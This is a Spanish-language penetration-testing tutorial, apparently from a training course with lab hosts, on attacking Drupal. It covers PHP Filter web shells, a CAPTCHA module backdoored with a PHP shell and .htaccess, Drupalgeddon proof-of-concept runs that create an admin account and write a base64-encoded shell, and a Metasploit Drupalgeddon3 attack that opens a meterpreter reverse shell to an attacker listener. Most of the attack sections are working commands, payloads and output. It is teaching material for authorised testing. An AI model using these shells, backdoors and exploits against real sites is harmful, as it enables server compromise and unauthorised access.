Saltar a contenido

Attacking Drupal

Ahora que hemos confirmado que estamos enfrentando a Drupal y hemos identificado la versión, veamos qué configuraciones incorrectas y vulnerabilidades podemos descubrir para intentar obtener acceso a la red interna.

A diferencia de algunos CMS, obtener una shell en un host de Drupal a través de la consola de administración no es tan fácil como simplemente editar un archivo PHP encontrado dentro de un tema o subir un script PHP malicioso.


Leveraging the PHP Filter Module

En versiones anteriores de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter, que "Permite que el código/snippets PHP embebidos sean evaluados."

http://drupal-qa.inlanefreight.local/#overlay=admin/modules

Desde aquí, podríamos marcar la casilla junto al módulo y desplazarnos hacia abajo hasta Save configuration. Luego, podríamos ir a Content --> Add content y crear una Basic page.

http://drupal-qa.inlanefreight.local/#overlay=node/add

Ahora podemos crear una página con un snippet PHP malicioso como el siguiente. Nombramos el parámetro con un hash md5 en lugar del común cmd para practicar el no dejar potencialmente una puerta abierta a un atacante durante nuestra evaluación. Si usamos el estándar system($_GET['cmd']);, nos exponemos a un atacante de "drive-by" que podría encontrar nuestra web shell. Aunque es poco probable, ¡mejor prevenir que lamentar!

<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

http://drupal-qa.inlanefreight.local/#overlay=node/add/page

También queremos asegurarnos de configurar el desplegable Text format en PHP code. Después de hacer clic en guardar, seremos redirigidos a la nueva página, en este ejemplo http://drupal-qa.inlanefreight.local/node/3. Una vez guardado, podemos solicitar ejecutar comandos en el navegador añadiendo ?dcfdd5e021a869fcc6dfaef8bf31377e=id al final de la URL para ejecutar el comando id o usar cURL en la línea de comandos. Desde aquí, podríamos usar una línea de comando bash para obtener acceso de shell reverso.

curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Desde la versión 8 en adelante, el módulo PHP Filter no está instalado por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos. Dado que estaríamos cambiando y añadiendo algo a la instancia de Drupal del cliente, podríamos querer consultar con ellos primero. Comenzaríamos descargando la versión más reciente del módulo desde el sitio web de Drupal.

wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

Una vez descargado, ir a Administration > Reports > Available updates.

Nota: La ubicación puede diferir según la versión de Drupal y puede estar en el menú Extend.

http://drupal.inlanefreight.local/admin/reports/updates/install

Desde aquí, hacer clic en Browse, seleccionar el archivo desde el directorio en el que lo descargamos, y luego hacer clic en Install.

Una vez instalado el módulo, podemos hacer clic en Content y crear una nueva página básica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrese de seleccionar PHP code desde el desplegable Text format.

Con cualquiera de estos ejemplos, debemos mantener informado a nuestro cliente y obtener permiso antes de realizar este tipo de cambios. Además, una vez que hayamos terminado, debemos eliminar o deshabilitar el módulo PHP Filter y eliminar cualquier página que hayamos creado para obtener ejecución remota de código.


Uploading a Backdoored Module

Drupal permite a los usuarios con permisos adecuados subir un nuevo módulo. Se puede crear un módulo con puerta trasera añadiendo una shell a un módulo existente. Los módulos se pueden encontrar en el sitio web de drupal.org. Vamos a elegir un módulo como CAPTCHA. Desplácese hacia abajo y copie el enlace para el archivo tar.gz archivo.

Descargue el archivo y extraiga su contenido.

wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz

Cree una web shell PHP con el contenido:

<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>

A continuación, necesitamos crear un archivo .htaccess para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>

La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copie ambos archivos a la carpeta captcha y cree un archivo comprimido.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/

captcha/
captcha/.travis.yml
captcha/README.md
captcha/captcha.api.php
captcha/captcha.inc
captcha/captcha.info.yml
captcha/captcha.install

<SNIP>

Suponiendo que tenemos acceso administrativo al sitio web, haga clic en Manage y luego en Extend en la barra lateral. A continuación, haga clic en el botón + Install new module, y seremos llevados a la página de instalación, como http://drupal.inlanefreight.local/admin/modules/install Busque el archivo Captcha con puerta trasera y haga clic en Install.

http://drupal.inlanefreight.local/core/authorize.php

Una vez que la instalación tenga éxito, navegue a /modules/captcha/shell.php para ejecutar comandos.

curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Leveraging Known Vulnerabilities

A lo largo de los años, el núcleo de Drupal ha sufrido algunas vulnerabilidades graves de ejecución remota de código, cada una apodada Drupalgeddon. Al momento de escribir, existen 3 vulnerabilidades Drupalgeddon.

  • CVE-2014-3704, conocida como Drupalgeddon, afecta a las versiones 7.0 hasta 7.31 y se solucionó en la versión 7.32. Esta fue una falla de inyección SQL preautenticada que podría usarse para subir un formulario malicioso o crear un nuevo usuario administrador.

  • CVE-2018-7600, también conocida como Drupalgeddon2, es una vulnerabilidad de ejecución remota de código, que afecta a las versiones de Drupal anteriores a 7.58 y 8.5.1. La vulnerabilidad ocurre debido a una sanitización de entrada insuficiente durante el registro de usuarios, lo que permite que se inyecten comandos a nivel del sistema de manera maliciosa.

  • CVE-2018-7602, también conocida como Drupalgeddon3, es una vulnerabilidad de ejecución remota de código que afecta a múltiples versiones de Drupal 7.x y 8.x. Esta falla explota una validación incorrecta en la API de formularios.

Vamos a recorrer la explotación de cada una de estas.


Drupalgeddon

Como se mencionó anteriormente, esta falla puede explotarse aprovechando una inyección SQL preautenticada que puede usarse para subir código malicioso o agregar un usuario administrador. Intentemos agregar un nuevo usuario administrador con este script PoC. Una vez que se agrega un usuario administrador, podríamos iniciar sesión y habilitar el módulo PHP Filter para lograr la ejecución remota de código.

Ejecutar el script con el flag -h nos muestra el menú de ayuda.

python2.7 drupalgeddon.py 

  ______                          __     _______  _______ _____    
 |   _  \ .----.--.--.-----.---.-|  |   |   _   ||   _   | _   |   
 |.  |   \

|   _|  |  |  _  |  _  |  |   |___|   _|___|   |.|   |   
 |.  |    |__| |_____|   __|___._|__|      /   |___(__   `-|.  |   
 |:  1    /          |__|                 |   |  |:  1   | |:  |   
 |::.. . /                                |   |  |::.. . | |::.|   
 `------'                                 `---'  `-------' `---'   
  _______       __     ___       __            __   __             
 |   _   .-----|  |   |   .-----|__.-----.----|  |_|__.-----.-----.
 |   1___|  _  |  |   |.  |     |  |  -__|  __|   _|  |  _  |     |
 |____   |__   |__|   |.  |__|__|  |_____|____|____|__|_____|__|__|
 |:  1   |  |__|      |:  |    |___|                               
 |::.. . |            |::.|                                        
 `-------'            `---'                                        

                                 Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
                                              Admin 4cc0unt cr3at0r

              Discovered by:

              Stefan  Horst
                         (CVE-2014-3704)

                           Written by:

                         Claudio Viviani

                      http://www.homelab.it

                         info@homelab.it
                     homelabit@protonmail.ch

                 https://www.facebook.com/homelabit
                   https://twitter.com/homelabit
                 https://plus.google.com/+HomelabIt1/
       https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww



Usage: drupalgeddon.py -t http[s]://TARGET_URL -u USER -p PASS


Options:
  -h, --help            show this help message and exit
  -t TARGET, --target=TARGET
                        Insert URL: http[s]://www.victim.com
  -u USERNAME, --username=USERNAME
                        Insert username
  -p PWD, --pwd=PWD     Insert password

Aquí vemos que necesitamos proporcionar la URL de destino y un nombre de usuario y contraseña para nuestra nueva cuenta de administrador. Ejecutemos el script y veamos si obtenemos un nuevo usuario administrador.

python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd

<SNIP>

[!] VULNERABLE!

[!] Administrator user created!

[*] Login: hacker
[*] Pass: pwnd
[*] Url: http://drupal-qa.inlanefreight.local/?q=node&destination=node

Ahora veamos si podemos iniciar sesión como administrador. ¡Podemos! Ahora, desde aquí, podríamos obtener una shell a través de los diversos medios discutidos anteriormente en esta sección.

http://drupal-qa.inlanefreight.local/user#overlay=admin/people

También podríamos usar el módulo Metasploit exploit/multi/http/drupal_drupageddon para explotar esto.


Drupalgeddon2

Podemos usar este PoC para confirmar esta vulnerabilidad.

python3 drupalgeddon2.py 

################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/

Check: http://drupal-dev.inlanefreight.local/hello.txt

Podemos verificar rápidamente con cURL y ver que el archivo hello.txt fue efectivamente subido.

curl -s http://drupal-dev.inlanefreight.local/hello.txt

;-)

Ahora vamos a modificar el script para obtener ejecución remota de código subiendo un archivo PHP malicioso.

<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>
echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64

PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K

A continuación, reemplazamos el comando echo en el script de explotación con un comando para escribir nuestro script PHP malicioso.

echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php

Luego, ejecutamos el script de explotación modificado para subir nuestro archivo PHP malicioso.

python3 drupalgeddon2.py 

################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/

Check: http://drupal-dev.inlanefreight.local/mrb3n.php

Finalmente, podemos confirmar la ejecución remota de código usando cURL.

curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Drupalgeddon3

Drupalgeddon3 es una vulnerabilidad de ejecución remota de código autenticada que afecta a múltiples versiones del núcleo de Drupal. Requiere que un usuario tenga la capacidad de eliminar un nodo. Podemos explotar esto usando Metasploit, pero primero debemos iniciar sesión y obtener una cookie de sesión válida.

Una vez que tengamos la cookie de sesión, podemos configurar el módulo de explotación de la siguiente manera.

msf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195
msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local   
msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1
msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 10.10.14.15
msf6 exploit(multi/http/drupal_drupageddon3) > show options 

Module options (exploit/multi/http/drupal_drupageddon3):

   Name            Current Setting                                                                   Required  Description
   ----            ---------------                                                                   --------  -----------
   DRUPAL_NODE     1                                                                                 yes       Exist Node Number (Page, Article, Forum topic, or a Post)
   DRUPAL_SESSION  SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y  yes       Authenticated Cookie Session
   Proxies                                                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          10.129.42.195                                                                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80                                                                                yes       The target port (TCP)
   SSL             false                                                                             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI       /                                                                                 yes

       The target URI of the Drupal installation
   VHOST           drupal-acc.inlanefreight.local                                                    no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.15      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   User register form with exec

Si tiene éxito, obtendremos una shell reversa en el host de destino.

msf6 exploit(multi/http/drupal_drupageddon3) > exploit

[*] Started reverse TCP handler on 10.10.14.15:4444 
[*] Token Form -> GH5mC4x2UeKKb2Dp6Mhk4A9082u9BU_sWtEudedxLRM
[*] Token Form_build_id -> form-vjqTCj2TvVdfEiPtfbOSEF8jnyB6eEpAPOSHUR2Ebo8
[*] Sending stage (39264 bytes) to 10.129.42.195
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.129.42.195:44612) at 2021-08-24 12:38:07 -0400

meterpreter > getuid

Server username: www-data (33)


meterpreter > sysinfo

Computer    : app01
OS          : Linux app01 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux

Onwards

Hemos enumerado y atacado algunos de los CMS más prevalentes: WordPress, Drupal y Joomla. A continuación, pasemos a Tomcat, que ha estado poniendo una sonrisa en la cara de los pentesters durante años.